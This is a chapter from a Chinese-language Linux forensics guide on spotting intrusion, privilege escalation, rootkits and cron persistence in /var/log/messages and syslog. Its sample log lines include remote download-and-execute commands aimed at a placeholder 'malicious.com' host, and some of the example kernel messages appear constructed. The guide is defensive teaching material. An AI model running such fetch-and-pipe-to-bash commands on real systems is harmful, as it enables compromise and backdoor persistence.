4. /var/log/messages 与 /var/log/syslog：通用系统日志的解读、异常登录与权限提升的痕迹

聊到系统安全，很多人第一反应是看 /var/log/secure 或者 /var/log/auth.log。这没错，但我个人习惯，每次接手一台新服务器，第一件事就是先翻 /var/log/messages（或者 /var/log/syslog）。

为什么？因为这两个文件是系统日志的“大杂烩”。几乎所有非认证类的内核消息、服务启停、硬件状态、网络事件，都会往这里写。攻击者搞破坏，不可能只留下认证日志——他们得提权、得装后门、得改配置，这些动作，十有八九会在这里留下脚印。

4.1 这两个文件到底是什么关系？

很多新手会问：messages 和 syslog 有什么区别？

说白了，这是发行版的历史遗留问题。

特性 /var/log/messages /var/log/syslog
常见发行版 CentOS / RHEL / Fedora Debian / Ubuntu
日志来源 内核、大部分系统服务 内核、大部分系统服务
默认轮转策略 按周轮转，保留4周 按周轮转，保留4周
安全审计价值 极高 极高

嗯，其实内容上八九不离十。我在项目中遇到过最尴尬的情况：客户说“我们系统没有 messages 文件”，结果一查是 Ubuntu，日志全在 syslog 里。所以，你只要记住——不管它叫什么，这是系统最通用的“流水账”。

4.2 日志格式解读：一行日志能告诉我们什么？

先看一条典型的 messages 日志：

Feb 18 14:23:45 webserver kernel: [12345.678901] usb 1-1: new high-speed USB device number 2 using ehci_hcd

拆开来看，其实就四个部分：

  1. 时间戳：Feb 18 14:23:45 —— 注意，这里没有年份。所以跨年日志要小心。
  2. 主机名：webserver —— 在集中式日志系统里，这是区分来源的关键。
  3. 进程/内核标识：kernel: [12345.678901] —— 方括号里是内核时间戳，单位是秒。
  4. 消息体：usb 1-1: new high-speed USB device... —— 具体事件描述。

你想想看，如果攻击者通过 USB 设备植入恶意软件，这条日志就是铁证。我曾经在应急响应时，就是靠一条异常的 USB 插入日志，锁定了内鬼使用的物理设备。

4.3 异常登录的痕迹：不只是看 auth.log

很多人以为登录日志只看 /var/log/secure 就够了。其实不然。攻击者如果通过合法账户登录，或者利用漏洞绕过认证，messages 里反而会有更明显的异常。

4.3.1 异常的用户切换痕迹

看这条：

Feb 18 03:15:22 webserver su: (to root) jdoe on pts/1
Feb 18 03:15:23 webserver sudo: jdoe : TTY=pts/1 ; PWD=/home/jdoe ; USER=root ; COMMAND=/bin/bash

凌晨3点15分，普通用户 jdoe 突然 su 到 root，然后执行了 /bin/bash。这正常吗？

我个人经验：凌晨时段的提权操作，90% 有问题。除非你明确知道有运维计划，否则这就是高危信号。

⚠️ 注意：su 和 sudo 日志在 messages 里默认只记录成功操作。如果攻击者连续尝试密码失败，那些记录在 auth.log 或 secure 里。但一旦成功，messages 里就会留下“干净”的成功记录——这恰恰是攻击者最想隐藏的。

4.3.2 异常的远程登录关联事件

攻击者通过 SSH 登录后，往往会立即执行一些操作。这些操作在 messages 里会形成一条时间线：

Feb 18 03:10:00 webserver sshd[1234]: Accepted publickey for jdoe from 10.0.0.5 port 54321 ssh2: RSA SHA256:xxxx
Feb 18 03:10:01 webserver systemd: Started Session 42 of user jdoe.
Feb 18 03:10:05 webserver sudo: jdoe : TTY=ssh ; PWD=/home/jdoe ; USER=root ; COMMAND=/usr/bin/wget http://malicious.com/payload.sh
Feb 18 03:10:06 webserver kernel: [  123.456789] bash[5678]: segfault at 0 ip 00007f... error 4 in libc-2.17.so

看到了吗？从 SSH 登录到执行 wget 下载恶意文件，再到内核报段错误（可能是提权漏洞利用失败），整个过程不到 6 秒。这绝对不是正常用户的操作节奏。

4.4 权限提升的痕迹：内核与系统服务的“求救信号”

权限提升是攻击链条中最关键的一环。攻击者从普通用户变成 root，messages 里会留下大量“噪音”。

4.4.1 内核模块加载与卸载

攻击者提权后，经常通过 insmod 或 modprobe 加载恶意内核模块（LKM Rootkit）。

Feb 18 03:20:00 webserver kernel: [  456.789012] module_64: loading out-of-tree module taints kernel.
Feb 18 03:20:00 webserver kernel: [  456.789015] module_64: module verification failed: signature and/or required key missing - tainting kernel

这两条日志非常关键：

  • "loading out-of-tree module"：加载了一个不在内核源码树里的模块。
  • "tainting kernel"：内核被“污染”了。这是 Linux 内核的一种安全机制——一旦加载了未签名的第三方模块，内核就会标记自己为“受污染”状态。

我记得有一次，客户说服务器莫名其妙重启，查了所有日志都没发现异常。最后我在 messages 里找到一条 tainting kernel 的记录，顺藤摸瓜找到了一个隐藏的 rootkit。嗯，从那以后，我每次看日志都会先搜 taint 关键字。

4.4.2 系统调用表被篡改

更高级的 rootkit 会直接修改系统调用表。虽然这种操作很难直接记录，但往往会导致系统行为异常，进而产生奇怪的日志：

Feb 18 03:25:00 webserver kernel: [  567.890123] syscall 59 (execve) modified by unknown module
Feb 18 03:25:01 webserver kernel: [  567.890124] audit: type=1400 audit(1613640300.123:45): avc:  denied  { map } for  pid=6789 comm="httpd" path="/root/.ssh/authorized_keys" dev=dm-0 ino=123456 scontext=system_u:system_r:httpd_t tcontext=unconfined_u:object_r:admin_home_t tclass=file

这条日志里，syscall 59 (execve) modified 是明显的异常——系统调用被修改了。紧接着的 SELinux 拒绝记录，说明 httpd 进程试图访问 root 的 SSH 密钥。这是典型的权限提升后门行为。

4.4.3 异常的 cron 任务与 at 任务

攻击者提权后，喜欢通过 cron 或 at 来维持权限。这些操作也会记录在 messages 里：

Feb 18 04:00:00 webserver crond[7890]: (root) CMD (/bin/bash -c 'curl http://malicious.com/backdoor.sh | bash')
Feb 18 04:00:01 webserver CRON[7891]: (root) MAIL (mailed 1 byte of output; but got status 0x004e, #012)

注意看，cron 任务是以 root 身份执行的，而且执行的是一个从远程下载脚本的命令。这种日志，只要出现，基本可以断定服务器已经被攻破。

4.5 实战技巧：如何快速从海量日志中定位异常

说实话，messages 文件在繁忙的服务器上一天就能长到几百兆。你不可能逐行看。我总结了一套“三板斧”：

4.5.1 第一板斧：按时间线切割

先确定攻击时间窗口。比如用户报告说“昨天下午 3 点网站打不开”，那就只分析那个时间段前后的日志：

grep "Feb 17 14:" /var/log/messages | grep -E "(error|fail|denied|taint|modified|segfault)"

4.5.2 第二板斧：关注“第一次”

攻击者第一次登录、第一次提权、第一次下载文件，这些“第一次”事件往往是最明显的。我习惯用 uniq 配合 awk 提取每个进程的首次出现时间：

awk '{print $5}' /var/log/messages | sort | uniq -c | sort -rn | head -20

这会列出出现次数最多的进程标识。如果 su、sudo、sshd 排在前列，那就要重点检查了。

4.5.3 第三板斧：关联分析

单条日志说明不了问题，要串起来看。我通常会把可疑时间点前后 5 分钟的日志全部导出，按时间排序，然后人工过一遍：

sed -n '/Feb 18 03:10:00/,/Feb 18 03:20:00/p' /var/log/messages > /tmp/suspicious.log
💡 个人技巧：我习惯在 /var/log/messages 里搜索 segfault 和 NULL pointer。这两个关键词往往意味着攻击者在尝试提权漏洞时触发了内核崩溃。虽然不是每次都是攻击，但出现频率突然升高，一定有问题。

4.6 本章核心知识图谱

下面这张图，是我自己总结的 messages/syslog 安全分析框架。你可以把它当作一个检查清单：

/var/log/messages 安全分析框架 通用系统日志 异常登录痕迹 权限提升痕迹 后门维持痕迹 su / sudo 异常时间点 SSH 登录后快速操作 非工作时间活动 内核模块加载 (taint) 系统调用表被修改 segfault / NULL pointer cron 远程下载脚本 at 任务创建 系统服务异常启停 实战方法论：时间线切割 → 首次事件提取 → 关联分析 输出：攻击时间线 + 异常事件清单 💡 核心原则：单条日志不可信，时间线串联才是关键

4.7 避坑指南

最后，分享几个我踩过的坑：

  • 别只看 messages：有些发行版把内核日志单独放在 /var/log/kern.log 里。如果 messages 里找不到内核信息，记得去那里看看。
  • 日志轮转会丢数据：默认配置下，messages 只保留 4 周。如果你发现攻击发生在 5 周前，那就只能靠备份了。我建议关键服务器至少保留 90 天的日志。
  • 时间戳没有时区：messages 里的时间戳默认是系统本地时间。如果服务器时区设置错了，或者你跨时区分析，一定要先确认 timedatectl 的输出。
  • 别忽略 "last message repeated"：rsyslog 有去重机制，如果同一条日志反复出现，它会写成 last message repeated 100 times。这往往意味着有程序在疯狂报错——可能是攻击者在暴力破解或扫描。

嗯，/var/log/messages 和 /var/log/syslog 就像系统的“日记本”。攻击者可以删除 auth.log，可以清空 btmp，但很难完全抹掉 messages 里的痕迹。因为太多系统组件在往里面写东西了。你只要学会怎么看，就能从中读出攻击者的“作案时间线”。

← 上一章 📖 返回目录 下一章 →